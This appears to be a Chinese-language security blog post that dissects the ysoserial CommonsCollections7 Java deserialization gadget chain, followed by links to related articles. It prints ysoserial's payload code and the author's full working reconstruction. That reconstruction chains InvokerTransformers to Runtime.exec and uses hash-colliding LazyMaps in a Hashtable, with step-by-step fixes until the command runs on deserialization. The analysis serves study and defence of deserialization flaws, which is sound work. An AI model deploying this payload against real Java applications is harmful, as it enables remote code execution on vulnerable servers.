前言

YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下:

  1. 以InvokerTranformer为基础通过动态代理触发AnnotationInvocationHandler里面的Invoker方法调用LazyMap get方式的CC1
  2. 以TemplatesImpl为基础,通过TrAXFilter、InstantiateTransformer组合绑定LazyMap动态代理触发AnnotationInvocationHandler#Invoker方法方式的CC3
  3. 在CC1 Lazymap的基础上进一步包装成TiedMapEntry,并以BadAttributeValueExpException调用TiedMapEntry#toString方法的CC5
  4. 在CC5基础上将触发换成HashMap调用hashCode方式的CC6

调用栈

接下来先看下cc7的代码

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); return hashtable;
}

抓一下调用栈,可以看到依次调用的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然后调用LazyMap的get方法。

其实调用链出来后一切都索然无味了,但我们还是要分析下调用链各个环节的一些关键点,首先看下Hashtable的readObject方法源码:

首先从序列化数据里面读取了elements,然后for循环便利elements次读取序列化里面的key、value值,这个elements和key、value分别是什么东西呢,找到writeObject寻找答案:

写入了类变量count、然后迭代分别写入了类变量table中entry的key、value,其实就是hashtable中的key、value,只不过内部实现是通过entry链表实现,然后跟进reconstitutionPut, 这里有个key的关键方法e.key。equals,结合前文我们分析过TiedMapEntry的equals可以触发Lazymap的get进而RCE,其实直接使用TiedMapEntry#equal也是可以触发的,这里就不展开TiedMapEntry吧,没啥太大的意义,就按照Ysoserial作者思路来。

挖掘利用链

前面文章介绍了LazyMap#Get()方法触发RCE的方法,来回忆下LazyMap触发的调用链,当LazyMap调用get方法是,回去寻找绑定LazyMap中的是否存在key,不存在就通过transform方法去生成,而这个transformer是恶意的,那就触发命令执行:

其实下一步就放在有谁能够调用lazyMap的get方法,除开之前介绍的tiedMapEntity之外,还有LazyMap本身也能调用,在LazyMap绑定的是HashMap的情况下,调用LazyMap#equals其实就是调用HashMap的接口AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到调用:

那触发的方法扩展到谁调用LazyMap的equal就好了,而这就和HashTable就绑定起来了,HashTable的readObject里面就有触发,但要满足两个条件:

  1. table[index] 不为null。
  2. 因为&&是从左向右执行,所以要e.hash等于当前实参key的hash。

首先分析下Hashtable#readObject 的整体逻辑,因为在Hashtable中实现逻辑的Entry对象被transient修饰,所以序列化的时候不能将table数据放到序列化数据里面,所以在writeObject时会单独写入key、value,readObject时重新put进entry当中。table的数量通过类变量count控制。

在迭代第一次传入key、value时tab始终为空,所以要调用到equal至少要迭代两次,也就要求table中的元素大于等于2,且两个元素的key的hash值要一样,那在构造除开hash一样,还要求equals执行为false,不然就会用新元素的value替换旧元素,这样table总的size就只为1,无法触发反序列化RCE。

寻找hashCode()一样,但又不相等的元素

那真的存在这样的两个值吗?答案当然是存在,以String为例,我们看一下String的hashCode算法

核心逻辑就是:

h=31*h + val[i]

h初始值为0,将字符串拆分为字符,每次对结果乘以31再累加,那可以确定相同的h值,肯定对应不同的val[i]解,比如aabB,看一下结果:

那是不是我们就找到了符合作为Hashtable的key了,其实不是,我们想要执行的其实是Lazy Map的hashcode一致,内部其实是map的hashcode,找一下hashmap的实现,对key做hashcode,然后异或上value的hashcode:

其实只要key的hashcode一样,然后value一样就能满足,试验下:

结果:

创造两个元素的HashTable

在上面已经找到hash一样的HashMap的前提下,绑定到LazyMap上,然后分别push进HashTable,然后进行反序列化:

 //        Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator"; System.out.println(System.getProperty("java.version")); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer); Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1); Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);

执行下,命令并没有执行:

看样子什么地方出了问题,打印下Hashtable的size,发现size为1,说明第二次put的时候出了问题,调试下发现问题出在了,AbstractMap上,因为我们为了避免序列化时执行命令将chainedTransfomer里面的transfoemer数组用constranTransfrom(1) 替代,命名为fakeTransfomer,而这个fakeTransformer执行后的结果为1,和hashtable的value1一致,所以会返回true。

hash和equl的判断都为true,就会进入if分支,完成新旧变量替换,而不会新增元素,所以size始终为1

修改fakeTransfomer为一个空数组,或者将hashTable的value为其他值,为了更通用这里采用空数组的方式:

Transformer[] fakeTransfomer = new Transformer[]{

        };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

再次执行,代码还是没有执行,打印size也是2,是满足条件的,但为啥命令没有执行呢,再次调试,发现问题出在了equal的判断上,equal的判断要求首先要满足两个hashMap的元素数量一致才能进行下一步的判断,而在put时也会执行equal,调用到m.get()方法,而m是一个LazyMap,在LazyMap#get() 方法存在一个特性,就是在绑定到HashMap没有这个元素的时候,动态添加一个这个没有的元素,

所以在LazyMap2进行put操作时,会去get(lazyMap1.key),lazyMap1的key为"aa",所以lazyMap2会多一个aa为key,aa为value的元素(transformer数组为空时的执行结果),在put后打印下lazyMap2验证下:

果然,因为两个map Size的判断在前面,这样就不会执行后续进行RCE的get方法

所以,需要我们在第二次put后,把第二个hashmap进行remove一个key为aa的操作,完整代码:

//        Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator"; System.out.println(System.getProperty("java.version")); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{ };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer); Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1); Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("aa");
System.out.println(hashtable.size());
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);

执行一下,命令成功执行:

YsoSerial的代码几乎一致仅就把我这里的aa和aB替换成yy和zZ。

总结

这篇文章分析了下CC7的原理,本来上周五应该就能发出文章的,但是却因为文中那个fakeTransfomer的原因一直被卡住,不知道问题出在哪里,找了很多朋友看也没看出问题,最终还是老老实实一步一步的调试才发现问题,以前只关注transformer的构造,没关注最终的返回,难搞~,期间也去学习了下Java的值传递类型和HashMap实现原理等,消耗了比较长的时间。

这是Common-collections 3.2.1的最后一条利用链分析,这个也是没有版本依赖的,我用jdk1.8u261也是能够运行的,总结下代码中关键点:

  1. 要找到两个元素hashcode一样,但euqal的结果又为false的hashmap。
  2. 使用fakeTransfomer时要关注返回满足HashTable元素大雨等于2。
  3. 在第二次put过后要对第二个HashMap进行remove(remove第一个hashmap的key)。

YsoSerial 工具常用Payload分析之Common-Collections7(四)的更多相关文章

  1. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  2. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  3. YsoSerial 工具常用Payload分析之CC5、6(三)

    前言 这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload: public BadAttributeValue ...

  4. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. Java应用常用性能分析工具

    Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...

  7. Fiddler抓取https请求 & Fiddler抓包工具常用功能详解

    Fiddler抓取https请求 & Fiddler抓包工具常用功能详解   先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...

  8. SoapUI、Jmeter、Postman三种接口测试工具的比较分析

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

  9. SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

随机推荐

  1. Mysql权限管理以及sql数据备份

    权限管理和备份 用户管理 可视化管理 SQL命令操作 用户表:msql.user 同样就是对表的操作,就是对这张表的增删改查 -- 创建用户 create user kuangshen identfi ...

  2. Spring Boot开发RESTful接⼝服务及单元测试

    Spring Boot开发RESTful接⼝服务及单元测试 常用注解解释说明: @Controller :修饰class,⽤来创建处理http请求的对象 @RestController :Spring ...

  3. canvas介绍和用途

    canvas介绍和用途 canvas(画布)主要是位图 svg(矢量图) canvas标签,必须要写的3个属性 id width height 为什么不在style中设置width和height呢? ...

  4. excel VBA把一个单元格内容按逗号拆分并依次替换到另一个单元格的括号里面(本题例子,把文本中的括号换成{答案}的格式,并按顺序填空)

    方法1:运用excel单元格拆分合并实现 思路:用VBA正则查询左侧括号个数,对右侧单元格逐一按逗号.顿号等符号分列,同时左侧按括号分列(分列只能按括号单边分列),分列完成后按要求合并,本题事例把括号 ...

  5. 『心善渊』Selenium3.0基础 — 22、使用浏览器加载项配置实现用户免登陆

    目录 1.浏览器的加载项配置 2.加载Firefox配置 3.加载Chrome配置 1.浏览器的加载项配置 在很多情况下,我们在登录网站的时候,浏览器都会弹出一个是否保存登录账号的信息.如果我们选择保 ...

  6. php+redis实现全页缓存系统

    php redis 实现全页缓存系统之前的一个项目说的一个功能,需要在后台预先存入某个页面信息放到数据库,比如app的注册协议,用户协议,这种.然后在写成一个php页面,app在调用接口的时候访问这个 ...

  7. 数据库表的自增ID createDate和updateDate 用JPA注解代替触发器实现

    对于数据库表的自增ID , createDate和updateDate 等字段,用JPA注解代替触发器实现,效率会高很多. 由于这些属性很多entity都有 可以写成两个基本entity :BaseE ...

  8. centos安装svn,centos客户端运用svn

    场景:   操作如下: 搭建svn服务器:192.168.43.130 1.安装subversion 2.创建本地仓库 mkdir  /haha/svn/something svnadmin  cre ...

  9. NAT444技术简介

    嘛,最近老师布置了一道题目与NAT444技术相关,遂收集一波相关资料. 首先来一波名词解释: ICP:网络内容服务商(Internet Content Provider) BRAS:宽带远程接入服务( ...

  10. mongodb,redis,mysql的区别和具体应用场景(转)

    一.MySQL 关系型数据库. 在不同的引擎上有不同 的存储方式. 查询语句是使用传统的sql语句,拥有较为成熟的体系,成熟度很高. 开源数据库的份额在不断增加,mysql的份额页在持续增长. 缺点就 ...